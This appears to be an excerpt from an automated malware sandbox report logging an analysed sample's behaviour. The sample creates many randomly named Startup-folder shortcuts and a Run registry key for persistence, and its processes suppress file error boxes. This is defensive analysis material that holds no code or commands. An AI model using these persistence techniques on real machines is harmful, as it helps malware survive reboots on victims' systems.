Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b723bf30bff4fc888f809eb1f091588.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2970361e176f47fa886e16bc896da27f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ff9ff53c07542678f5f47bff950e077.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62651b9370c3495f952d253b438f53fd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da25498943f74a748fa6a187ed9c1b9e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0448f61c04947c3a5d07f0c869103a1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5304f311fe243a0996f7192610250b4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa4165733baf4ead8fb97ce3c7306fa0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a81dec2a4b74173b487d206faacf2fe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa9c5a790fd44dbf817e21a1d5166e9a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_218b57b90a0d4561bae50219b89214ac.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_538422fdfdfe418aba71b868a0ce91c3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea7ed015e1024d56889274b8af2e12ad.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2817d7bd70242ca9345a4458eff7e8f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10ed35dbff124538a7008639255c7153.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4df5ffd2bda43878cbf94923ad964a0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ab67645556f45ea8c940a04e4da87d1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef64f90a2e6640108e56e1015f35f492.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1efe912af54e48a58a4ef441510ad737.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14cf221edea94942849a00303dff9cc8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa1978a927ca4904a42e20988f565d6e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f125ce55b62640f7b29e255f8ecebc0a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3310766d309a45959b625201c1d55a8e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5e6db52c042c44b18e99a94451503fa0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f44354cdcda34f80800b8ccf2ca0d9dd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ada4b92489b94d95a968e3710c502b9c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7a6f88eb4c045f08eb61534dab3b945.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1aa0db88df3e4841a0f1b89656f21221.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_816c40a1d6ee4872b4f948de0529bca3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4256e2b275c4aa7bdce28c322f74dd7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd6a439c04b1464295919f208cb4eda6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e9068ec96ce4a0684c0bfd6c5b82f67.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e75c160c12f4333a45a369fc5627124.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_404a8687ffc94a9b9686120efbcb3420.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8bb2a35dbaf2475289726a2b41d56016.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95dd076087ea49f3a02fc016438f2afb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f8343211da1342ca8d9a771b05da9c97.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09b28e4fd57c4276bc5b173f751bee06.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43b26471a1014a25abc40b11f447314b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74afedef17ef407abb691f05f5e2c2f2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fa28e5dd0bf4fcfb576fb1dd87a7ede.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c515a03f90e74bb8b32a64a1a3076250.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35d5e51ef6274544a7785c3e37710334.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3836655e95b04acaa0a2d949bd8f0934.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3aac94e7020e4288b70d5e18c1d54e2e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dee28cc7ee564c6aa9a72314d0bf9f39.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c4f0c2173e1f4cf4bdb5eb0b8b8edb09.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b394afb967cb40d8bf998af3a2897c0e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc4bf16337f8445782876380b34e76aa.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7764d76089eb4f9c97a7d789ea213107.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30fc90850dd34b4da833436e5d1860ec.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64d093b6e80a472e9cda273f0fbf8d93.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0416c2b043b548b98d8e36b1f2742e86.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6d60649bfeb40e9b98c1845b8d34392.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_91f82638433e49498b8f377d1d06e8bf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b13eeb8316a4abf9c65037cffeafecc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0d583461cb74f1786599a09dc34a81e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f910ef936b6342dfa24199f0e57219df.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e8e33f9f91b4f1ba94005c6ac098282.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e173d8ef971d4f469f6a0ea9e4e90113.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6eb59acc8f814dde96eeaa2a75959888.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fdec83e3b82499eba5012cec92d3fd3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1cc625b6c2d6485684d80cc4003e2419.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ec37064b04f48cdb12294deaf27d09a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9e783ecb7a8469ba254d9b1be697ea9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51633a6366d44e2d9ea7909f23fa22ea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d766938c6dff4096ac7879453851552b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d596e13c95e42568203d501d8fd4f92.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23280cced92743398b87ccfdbac06f4f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5226a8f2605349b983cecd4b9d5179eb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff87a15bd80848e786e55aadc042b626.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16e870fe4de54b7ca784321e66ec73b8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09f0e4122b294b788ab3ddd008b63851.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57c522e8823d49578c19ec88b409f68b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2158989d6e45408a966735ab9304df25.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_adb8c01a934b4a17879835e264649cb5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_828f6fb4ab1f417bab89b2eb5d529db0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85af9c481158400a8b748b299a439cde.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20b5decd56ad482fb72aff3528eaa89f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6071f085022482aa13b353574d9b91e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1fc601e0a8f6463a826d8bdb86d7b8bc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ea7301f3fe425fb932d6c4accde21f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6704ac2709b6415194a10611fd7e3c60.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_356cb0e8f5dd4ac68a14983323e9ed96.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_abcf48dd4f9f4d75b5f5a196aae82fb8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c91b1b6aac504acaaeca2fe9d82325b8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7200cc21e7c042b2ac8c9ce7a01e48da.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3f5b99306f24ad0a68b900202e05ad8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86e0194067b74c8aa19aa2e7242f429f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b550784488644c9899519ebcdc0db51.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c3063cb22b04caebc24348af1147907.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f731e6f815a74af4acb3e6eae80c78c6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a3d0ad3f6a64535a9098ba7a00b843a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef5bdfe81da84893ac0c76d8c41ed376.lnk	Jump to behavior

Source: C:\ProgramData\AFIDGDBGCA.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_53e62ee1f55449c09d35238cb5fcef52			Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_53e62ee1f55449c09d35238cb5fcef52			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_0041891A

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
